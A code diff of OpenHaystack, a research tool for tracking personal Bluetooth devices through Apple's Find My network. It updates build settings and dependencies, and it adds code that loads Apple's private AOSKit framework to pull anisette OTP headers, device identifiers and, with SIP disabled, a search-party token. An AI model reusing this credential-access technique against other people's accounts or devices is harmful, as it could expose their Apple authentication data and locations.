78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */,
7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */,
78286E0225E66F9400F65511 /* AccessoryListEntry.swift in Sources */,
781EB3EE25DAD7EA00FEAA19 /* OFFetchReportsMainView.swift in Sources */,
781EB3EF25DAD7EA00FEAA19 /* MapViewController.swift in Sources */,
78286D7725E5114600F65511 /* ActivityIndicator.swift in Sources */,
781EB3F025DAD7EA00FEAA19 /* MapView.swift in Sources */,
7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */,
781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */,
787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */,
781EB3F225DAD7EA00FEAA19 /* AppDelegate.swift in Sources */,
9ED440A02C1605EF002574D1 /* OpenHaystackSettingsView.swift in Sources */,
78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */,
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */,
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */,
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
782853C22755103A00B18EDE /* UpdateCheckController.swift in Sources */,
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */,
78286D5625E401F000F65511 /* MailPluginManager.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
@@ -748,6 +674,9 @@
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */,
782853C427551B4400B18EDE /* UpdateCheckTests.swift in Sources */,
F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */,
78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
@@ -765,24 +694,8 @@
target = 781EB3E425DAD7EA00FEAA19 /* OpenHaystack */;
targetProxy = 78EC226625DAE0BE0042B775 /* PBXContainerItemProxy */;
};
78F7253C25ED02350039C718 /* PBXTargetDependency */ = {
isa = PBXTargetDependency;
target = 78108B6B248E8FB50007E9C4 /* OFFetchReports */;
targetProxy = 78F7253B25ED02350039C718 /* PBXContainerItemProxy */;
};
/* End PBXTargetDependency section */
/* Begin PBXVariantGroup section */
78108B78248E8FB80007E9C4 /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
78108B79248E8FB80007E9C4 /* Base */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
/* End PBXVariantGroup section */
/* Begin XCBuildConfiguration section */
78108B7D248E8FB80007E9C4 /* Debug */ = {
isa = XCBuildConfiguration;
@@ -899,76 +812,11 @@
};
name = Release;
};
78108B80248E8FB80007E9C4 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = "";
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Manual;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OpenHaystack/Preview Content\"";
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = NO;
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OpenHaystack/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 11.0;
OTHER_CFLAGS = "-DAUTHKIT";
OTHER_SWIFT_FLAGS = "-DAUTHKIT";
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OfflineFinder";
PRODUCT_NAME = "$(TARGET_NAME)";
PROVISIONING_PROFILE_SPECIFIER = "";
SWIFT_OBJC_BRIDGING_HEADER = "OpenHaystack-Bridging-Header.h";
SWIFT_VERSION = 5.0;
SYSTEM_FRAMEWORK_SEARCH_PATHS = (
"$(inherited)",
"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks",
);
};
name = Debug;
};
78108B81248E8FB80007E9C4 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = "";
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Manual;
COMBINE_HIDPI_IMAGES = YES;
DEVELOPMENT_ASSET_PATHS = "\"OpenHaystack/Preview Content\"";
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = NO;
ENABLE_PREVIEWS = YES;
INFOPLIST_FILE = OpenHaystack/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 11.0;
OTHER_CFLAGS = "-DAUTHKIT";
OTHER_SWIFT_FLAGS = "-DAUTHKIT";
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OfflineFinder";
PRODUCT_NAME = "$(TARGET_NAME)";
PROVISIONING_PROFILE_SPECIFIER = "";
SWIFT_OBJC_BRIDGING_HEADER = "OpenHaystack-Bridging-Header.h";
SWIFT_VERSION = 5.0;
SYSTEM_FRAMEWORK_SEARCH_PATHS = (
"$(inherited)",
"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks",
);
};
name = Release;
};
781EB40625DAD7EA00FEAA19 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = "";
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Manual;
COMBINE_HIDPI_IMAGES = YES;
@@ -976,18 +824,13 @@
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = NO;
ENABLE_PREVIEWS = YES;
EXCLUDED_ARCHS = "arm64e arm64";
EXCLUDED_ARCHS = "";
INFOPLIST_FILE = OpenHaystack/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 11.0;
OTHER_CFLAGS = (
"-DACCESSORY",
"-DAUTHKIT",
);
OTHER_SWIFT_FLAGS = "-DACCESSORY";
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OpenHaystack";
PRODUCT_NAME = "$(TARGET_NAME)";
PROVISIONING_PROFILE_SPECIFIER = "";
@@ -1001,7 +844,6 @@
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
CLANG_ENABLE_MODULES = YES;
CODE_SIGN_ENTITLEMENTS = "";
CODE_SIGN_IDENTITY = "-";
CODE_SIGN_STYLE = Manual;
COMBINE_HIDPI_IMAGES = YES;
@@ -1009,18 +851,13 @@
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = NO;
ENABLE_PREVIEWS = YES;
EXCLUDED_ARCHS = "arm64e arm64";
EXCLUDED_ARCHS = "";
INFOPLIST_FILE = OpenHaystack/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/../Frameworks",
);
MACOSX_DEPLOYMENT_TARGET = 11.0;
OTHER_CFLAGS = (
"-DACCESSORY",
"-DAUTHKIT",
);
OTHER_SWIFT_FLAGS = "-DACCESSORY";
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OpenHaystack";
PRODUCT_NAME = "$(TARGET_NAME)";
PROVISIONING_PROFILE_SPECIFIER = "";
@@ -1111,24 +948,6 @@
};
name = Release;
};
78F7253425ED02300039C718 /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGN_STYLE = Automatic;
DEVELOPMENT_TEAM = H9XHQ4WHSF;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Debug;
};
78F7253525ED02300039C718 /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
CODE_SIGN_STYLE = Automatic;
DEVELOPMENT_TEAM = H9XHQ4WHSF;
PRODUCT_NAME = "$(TARGET_NAME)";
};
name = Release;
};
/* End XCBuildConfiguration section */
/* Begin XCConfigurationList section */
@@ -1141,15 +960,6 @@
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
78108B7F248E8FB80007E9C4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */ = {
isa = XCConfigurationList;
buildConfigurations = (
78108B80248E8FB80007E9C4 /* Debug */,
78108B81248E8FB80007E9C4 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
781EB40525DAD7EA00FEAA19 /* Build configuration list for PBXNativeTarget "OpenHaystack" */ = {
isa = XCConfigurationList;
buildConfigurations = (
@@ -1177,15 +987,6 @@
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
78F7253625ED02300039C718 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */ = {
isa = XCConfigurationList;
buildConfigurations = (
78F7253425ED02300039C718 /* Debug */,
78F7253525ED02300039C718 /* Release */,
);
defaultConfigurationIsVisible = 0;
defaultConfigurationName = Release;
};
/* End XCConfigurationList section */
/* Begin XCRemoteSwiftPackageReference section */
@@ -1216,11 +1017,6 @@
/* End XCRemoteSwiftPackageReference section */
/* Begin XCSwiftPackageProductDependency section */
0211DBC02491203100ABB066 /* Crypto */ = {
isa = XCSwiftPackageProductDependency;
package = 0211DBBF2491203100ABB066 /* XCRemoteSwiftPackageReference "swift-crypto" */;
productName = Crypto;
};
781EB3E725DAD7EA00FEAA19 /* Crypto */ = {
isa = XCSwiftPackageProductDependency;
package = 781EB3E825DAD7EA00FEAA19 /* XCRemoteSwiftPackageReference "swift-crypto" */;
@@ -1231,11 +1027,6 @@
package = F16BA9E725E7DB2D00238183 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */;
productName = NIOSSL;
};
F16BAA0C25E7DCFC00238183 /* NIOSSL */ = {
isa = XCSwiftPackageProductDependency;
package = F16BA9E725E7DB2D00238183 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */;
productName = NIOSSL;
};
/* End XCSwiftPackageProductDependency section */
};
rootObject = 78108B64248E8FB50007E9C4 /* Project object */;

View File

@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>FILEHEADER</key>
<string>
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//</string>
</dict>
</plist>

View File

@@ -1,34 +1,60 @@
{
"object": {
"pins": [
{
"package": "swift-crypto",
"repositoryURL": "https://github.com/apple/swift-crypto.git",
"state": {
"branch": null,
"revision": "9b9d1868601a199334da5d14f4ab2d37d4f8d0c5",
"version": "1.0.2"
}
},
{
"package": "swift-nio",
"repositoryURL": "https://github.com/apple/swift-nio.git",
"state": {
"branch": null,
"revision": "6d3ca7e54e06a69d0f2612c2ce8bb8b7319085a4",
"version": "2.26.0"
}
},
{
"package": "swift-nio-ssl",
"repositoryURL": "https://github.com/apple/swift-nio-ssl",
"state": {
"branch": null,
"revision": "bbb38fbcbbe9dc4665b2c638dfa5681b01079bfb",
"version": "2.10.4"
}
"originHash" : "bfeb00ee66eb6db71ff8535b5ea7585725e9fe73d97f066170be55b745d346e9",
"pins" : [
{
"identity" : "swift-atomics",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-atomics.git",
"state" : {
"revision" : "cd142fd2f64be2100422d658e7411e39489da985",
"version" : "1.2.0"
}
]
},
"version": 1
},
{
"identity" : "swift-collections",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-collections.git",
"state" : {
"revision" : "ee97538f5b81ae89698fd95938896dec5217b148",
"version" : "1.1.1"
}
},
{
"identity" : "swift-crypto",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-crypto.git",
"state" : {
"revision" : "ddb07e896a2a8af79512543b1c7eb9797f8898a5",
"version" : "1.1.7"
}
},
{
"identity" : "swift-nio",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-nio.git",
"state" : {
"revision" : "9428f62793696d9a0cc1f26a63f63bb31da0516d",
"version" : "2.66.0"
}
},
{
"identity" : "swift-nio-ssl",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-nio-ssl",
"state" : {
"revision" : "2b09805797f21c380f7dc9bedaab3157c5508efb",
"version" : "2.27.0"
}
},
{
"identity" : "swift-system",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-system.git",
"state" : {
"revision" : "f9266c85189c2751589a50ea5aec72799797e471",
"version" : "1.3.0"
}
}
],
"version" : 3
}

View File

@@ -38,6 +38,15 @@
ReferencedContainer = "container:OpenHaystack.xcodeproj">
</BuildableReference>
<SkippedTests>
<Test
Identifier = "MicrocontrollerTests/testESP32Deploy()">
</Test>
<Test
Identifier = "MicrocontrollerTests/testFindESP32Port()">
</Test>
<Test
Identifier = "MicrocontrollerTests/testMicrobitDeploy()">
</Test>
<Test
Identifier = "OpenHaystackTests/testPluginInstallation()">
</Test>
@@ -65,6 +74,12 @@
ReferencedContainer = "container:OpenHaystack.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
<CommandLineArguments>
<CommandLineArgument
argument = "-stopUpdateCheck"
isEnabled = "YES">
</CommandLineArgument>
</CommandLineArguments>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"

View File

@@ -1,49 +1,67 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import OSLog
/// Uses the AltStore Mail plugin to access recent anisette data
/// Uses AOSKit to get anisette headers
@objc private protocol AOSUtilitiesProtocol
{
static var machineSerialNumber: String? { get }
static var machineUDID: String? { get }
static func retrieveOTPHeadersForDSID(_ dsid: String) -> [String: Any]?
// Non-static versions used for respondsToSelector:
var machineSerialNumber: String? { get }
var machineUDID: String? { get }
func retrieveOTPHeadersForDSID(_ dsid: String) -> [String: Any]?
}
/// Uses the AltStore Mail plugin to access recent anisette data.
public class AnisetteDataManager: NSObject {
@objc static let shared = AnisetteDataManager()
private var anisetteDataCompletionHandlers: [String: (Result<AppleAccountData, Error>) -> Void] = [:]
private var anisetteDataTimers: [String: Timer] = [:]
private override init() {
super.init()
super.init()
dlopen("/System/Library/PrivateFrameworks/AuthKit.framework/AuthKit", RTLD_NOW)
dlopen("/System/Library/PrivateFrameworks/AuthKit.framework/AuthKit", RTLD_NOW)
DistributedNotificationCenter.default()
.addObserver(self, selector: #selector(AnisetteDataManager.handleAppleDataResponse(_:)),
name: Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.AnisetteDataResponse"), object: nil)
}
DistributedNotificationCenter.default()
.addObserver(
self, selector: #selector(AnisetteDataManager.handleAppleDataResponse(_:)),
name: Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.AnisetteDataResponse"), object: nil)
}
func requestAnisetteData(_ completion: @escaping (Result<AppleAccountData, Error>) -> Void) {
if let accountData = self.requestAnisetteDataAuthKit() {
if let accountData = self.requestAnisetteDataAOSKit() {
os_log(.debug, "Anisette Data loaded %@", accountData.debugDescription)
completion(.success(accountData))
return
}
let requestUUID = UUID().uuidString
self.anisetteDataCompletionHandlers[requestUUID] = completion
let requestUUID = UUID().uuidString
self.anisetteDataCompletionHandlers[requestUUID] = completion
let timer = Timer(timeInterval: 1.0, repeats: false) { (_) in
self.finishRequest(forUUID: requestUUID, result: .failure(AnisetteDataError.pluginNotFound))
}
self.anisetteDataTimers[requestUUID] = timer
let timer = Timer(timeInterval: 1.0, repeats: false) { (_) in
self.finishRequest(forUUID: requestUUID, result: .failure(AnisetteDataError.pluginNotFound))
}
self.anisetteDataTimers[requestUUID] = timer
RunLoop.main.add(timer, forMode: .default)
RunLoop.main.add(timer, forMode: .default)
DistributedNotificationCenter.default()
.postNotificationName(Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.FetchAnisetteData"),
object: nil, userInfo: ["requestUUID": requestUUID], options: .deliverImmediately)
DistributedNotificationCenter.default()
.postNotificationName(
Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.FetchAnisetteData"),
object: nil, userInfo: ["requestUUID": requestUUID], options: .deliverImmediately)
}
func requestAnisetteDataAuthKit() -> AppleAccountData? {
@@ -52,27 +70,28 @@ public class AnisetteDataManager: NSObject {
let dateFormatter = ISO8601DateFormatter()
guard let machineID = anisetteData["X-Apple-I-MD-M"] as? String,
let otp = anisetteData["X-Apple-I-MD"] as? String,
let localUserId = anisetteData["X-Apple-I-MD-LU"] as? String,
let dateString = anisetteData["X-Apple-I-Client-Time"] as? String,
let date = dateFormatter.date(from: dateString),
let deviceClass = NSClassFromString("AKDevice")
let otp = anisetteData["X-Apple-I-MD"] as? String,
let localUserId = anisetteData["X-Apple-I-MD-LU"] as? String,
let dateString = anisetteData["X-Apple-I-Client-Time"] as? String,
let date = dateFormatter.date(from: dateString),
let deviceClass = NSClassFromString("AKDevice")
else {
return nil
}
let device: AKDevice = deviceClass.current()
let routingInfo = (anisetteData["X-Apple-I-MD-RINFO"] as? NSNumber)?.uint64Value ?? 0
let accountData = AppleAccountData(machineID: machineID,
oneTimePassword: otp,
localUserID: localUserId,
routingInfo: routingInfo,
deviceUniqueIdentifier: device.uniqueDeviceIdentifier(),
deviceSerialNumber: device.serialNumber(),
deviceDescription: device.serverFriendlyDescription(),
date: date,
locale: Locale.current,
timeZone: TimeZone.current)
let accountData = AppleAccountData(
machineID: machineID,
oneTimePassword: otp,
localUserID: localUserId,
routingInfo: routingInfo,
deviceUniqueIdentifier: device.uniqueDeviceIdentifier(),
deviceSerialNumber: device.serialNumber(),
deviceDescription: device.serverFriendlyDescription(),
date: date,
locale: Locale.current,
timeZone: TimeZone.current)
if let spToken = ReportsFetcher().fetchSearchpartyToken() {
accountData.searchPartyToken = spToken
@@ -81,6 +100,61 @@ public class AnisetteDataManager: NSObject {
return accountData
}
/// Adapted from: https://github.com/altstoreio/AltStore/blob/main/AltServer/Anisette%20Data/AnisetteDataManager.swift
func requestAnisetteDataAOSKit() -> AppleAccountData? {
do
{
let aosKitURL = URL(fileURLWithPath: "/System/Library/PrivateFrameworks/AOSKit.framework")
guard let aosKit = Bundle(url: aosKitURL) else { throw AnisetteDataError.aosKitFailure }
try aosKit.loadAndReturnError()
guard let AOSUtilitiesClass = NSClassFromString("AOSUtilities"),
AOSUtilitiesClass.responds(to: #selector(AOSUtilitiesProtocol.retrieveOTPHeadersForDSID(_:))),
AOSUtilitiesClass.responds(to: #selector(getter: AOSUtilitiesProtocol.machineSerialNumber)),
AOSUtilitiesClass.responds(to: #selector(getter: AOSUtilitiesProtocol.machineUDID))
else { throw AnisetteDataError.aosKitFailure }
let AOSUtilities = unsafeBitCast(AOSUtilitiesClass, to: AOSUtilitiesProtocol.Type.self)
guard let anisetteData = AOSUtilities.retrieveOTPHeadersForDSID("-2") else { throw AnisetteDataError.aosKitFailure }
guard let machineID = anisetteData["X-Apple-MD-M"] as? String,
let otp = anisetteData["X-Apple-MD"] as? String,
let deviceId = AOSUtilities.machineUDID,
let localUserId = deviceId.data(using: .utf8)?.base64EncodedString(),
let deviceClass = NSClassFromString("AKDevice")
else {
print("Failure retrieving anisette headers from AOSKit")
throw AnisetteDataError.aosKitFailure
}
let device: AKDevice = deviceClass.current()
let routingInfo: UInt64 = 84215040
let accountData = AppleAccountData(
machineID: machineID,
oneTimePassword: otp,
localUserID: localUserId,
routingInfo: routingInfo,
deviceUniqueIdentifier: device.uniqueDeviceIdentifier(),
deviceSerialNumber: device.serialNumber(),
deviceDescription: device.serverFriendlyDescription(),
date: Date(),
locale: Locale.current,
timeZone: TimeZone.current)
/// This only works with SIP disabled
if let spToken = ReportsFetcher().fetchSearchpartyToken() {
accountData.searchPartyToken = spToken
}
return accountData
}
catch
{
return nil
}
}
@objc func requestAnisetteDataObjc(_ completion: @escaping ([AnyHashable: Any]?) -> Void) {
self.requestAnisetteData { result in
switch result {
@@ -88,25 +162,26 @@ public class AnisetteDataManager: NSObject {
completion(nil)
case .success(let data):
// Return only the headers
completion([
"X-Apple-I-MD-M": data.machineID,
"X-Apple-I-MD": data.oneTimePassword,
"X-Apple-I-TimeZone": String(data.timeZone.abbreviation() ?? "UTC"),
"X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
"X-Apple-I-MD-RINFO": String(data.routingInfo)
completion(
[
"X-Apple-I-MD-M": data.machineID,
"X-Apple-I-MD": data.oneTimePassword,
"X-Apple-I-TimeZone": String(data.timeZone.abbreviation() ?? "UTC"),
// "X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
"X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: Date()),
"X-Apple-I-MD-RINFO": String(data.routingInfo),
] as [AnyHashable: Any])
}
}
}
}
private extension AnisetteDataManager {
extension AnisetteDataManager {
@objc func handleAppleDataResponse(_ notification: Notification) {
@objc fileprivate func handleAppleDataResponse(_ notification: Notification) {
guard let userInfo = notification.userInfo, let requestUUID = userInfo["requestUUID"] as? String else { return }
if
let archivedAnisetteData = userInfo["anisetteData"] as? Data,
if let archivedAnisetteData = userInfo["anisetteData"] as? Data,
let appleAccountData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: AppleAccountData.self, from: archivedAnisetteData)
{
if let range = appleAccountData.deviceDescription.lowercased().range(of: "(com.apple.mail") {
@@ -122,11 +197,10 @@ private extension AnisetteDataManager {
}
}
@objc func handleAnisetteDataResponse(_ notification: Notification) {
@objc fileprivate func handleAnisetteDataResponse(_ notification: Notification) {
guard let userInfo = notification.userInfo, let requestUUID = userInfo["requestUUID"] as? String else { return }
if
let archivedAnisetteData = userInfo["anisetteData"] as? Data,
if let archivedAnisetteData = userInfo["anisetteData"] as? Data,
let anisetteData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: ALTAnisetteData.self, from: archivedAnisetteData)
{
if let range = anisetteData.deviceDescription.lowercased().range(of: "(com.apple.mail") {
@@ -143,7 +217,7 @@ private extension AnisetteDataManager {
}
}
func finishRequest(forUUID requestUUID: String, result: Result<AppleAccountData, Error>) {
fileprivate func finishRequest(forUUID requestUUID: String, result: Result<AppleAccountData, Error>) {
let completionHandler = self.anisetteDataCompletionHandlers[requestUUID]
self.anisetteDataCompletionHandlers[requestUUID] = nil
@@ -158,4 +232,5 @@ private extension AnisetteDataManager {
enum AnisetteDataError: Error {
case pluginNotFound
case invalidAnisetteData
case aosKitFailure
}

View File

@@ -1,48 +0,0 @@
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
import Cocoa
import SwiftUI
@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {
var window: NSWindow!
private var mainView: some View {
#if ACCESSORY
if ProcessInfo().arguments.contains("-preview") {
return OpenHaystackMainView(accessoryController: AccessoryController(accessories: PreviewData.accessories))
}
return OpenHaystackMainView()
#else
return OFFetchReportsMainView()
#endif
}
func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the window and set the content view.
window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 750, height: 480),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false)
window.center()
window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: mainView)
window.makeKeyAndOrderFront(nil)
}
func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true
}
}

View File

@@ -0,0 +1,34 @@
{
"colors" : [
{
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "1.000",
"white" : "0.866"
}
},
"idiom" : "universal"
},
{
"appearances" : [
{
"appearance" : "luminosity",
"value" : "dark"
}
],
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "0.758",
"white" : "0.310"
}
},
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,34 @@
{
"colors" : [
{
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "1.000",
"white" : "0.657"
}
},
"idiom" : "universal"
},
{
"appearances" : [
{
"appearance" : "luminosity",
"value" : "dark"
}
],
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "0.758",
"white" : "0.237"
}
},
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,6 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,34 @@
{
"colors" : [
{
"color" : {
"color-space" : "extended-gray",
"components" : {
"alpha" : "1.000",
"white" : "0.850"
}
},
"idiom" : "universal"
},
{
"appearances" : [
{
"appearance" : "luminosity",
"value" : "dark"
}
],
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "1.000",
"white" : "0.100"
}
},
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,34 @@
{
"colors" : [
{
"color" : {
"color-space" : "extended-gray",
"components" : {
"alpha" : "1.000",
"white" : "0.780"
}
},
"idiom" : "universal"
},
{
"appearances" : [
{
"appearance" : "luminosity",
"value" : "dark"
}
],
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "1.000",
"white" : "0.200"
}
},
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,38 @@
{
"colors" : [
{
"color" : {
"color-space" : "srgb",
"components" : {
"alpha" : "1.000",
"blue" : "0.000",
"green" : "0.000",
"red" : "0.000"
}
},
"idiom" : "universal"
},
{
"appearances" : [
{
"appearance" : "luminosity",
"value" : "dark"
}
],
"color" : {
"color-space" : "srgb",
"components" : {
"alpha" : "1.000",
"blue" : "1.000",
"green" : "1.000",
"red" : "1.000"
}
},
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -1,9 +1,11 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import <Foundation/Foundation.h>
@@ -11,16 +13,24 @@ NS_ASSUME_NONNULL_BEGIN
@interface BoringSSL : NSObject
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint;
+ (NSData *_Nullable)deriveSharedKeyFromPrivateKey:(NSData *)privateKey andEphemeralKey:(NSData *)ephemeralKeyPoint;
/// Derive a public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
/// @returns The public key in a compressed format using 29 bytes. The first byte is used for identifying if its odd or even.
/// For OF the first byte has to be dropped
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData;
/// For OF the first byte has to be dropped
+ (NSData *_Nullable)derivePublicKeyFromPrivateKey:(NSData *)privateKeyData;
/// Derive a public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
/// @returns The public key in a uncompressed format using 28*2+1 bytes. The first byte is used for identifying if its odd or even.
+ (NSData *_Nullable)deriveUncompressedPublicKeyFromPrivateKey:(NSData *)privateKeyData ;
/// Generate a new EC private key and exports it as data
+ (NSData * _Nullable) generateNewPrivateKey;
+ (NSData *_Nullable)generateNewPrivateKey;
/// Calculate private key from derived data
+ (NSData *_Nullable)calculatePrivateKeyFromSharedData:(NSData *)sharedData masterBeaconPrivateKey:(NSData *)masterBeaconPrivateKey;
@end

View File

@@ -1,9 +1,11 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import "BoringSSL.h"
@@ -16,151 +18,327 @@
@implementation BoringSSL
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint {
+ (NSData *_Nullable)deriveSharedKeyFromPrivateKey:(NSData *)privateKey andEphemeralKey:(NSData *)ephemeralKeyPoint {
NSLog(@"Private key %@", [privateKey base64EncodedStringWithOptions:0]);
NSLog(@"Ephemeral key %@", [ephemeralKeyPoint base64EncodedStringWithOptions:0]);
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKey group:curve];
const EC_POINT *genPubKey = EC_KEY_get0_public_key(key);
[self printPoint:genPubKey withGroup:curve];
EC_POINT *publicKey = EC_POINT_new(curve);
size_t load_success = EC_POINT_oct2point(curve, publicKey, ephemeralKeyPoint.bytes, ephemeralKeyPoint.length, NULL);
if (load_success == 0) {
NSLog(@"Failed loading public key!");
return nil;
return nil;
}
NSMutableData *sharedKey = [[NSMutableData alloc] initWithLength:28];
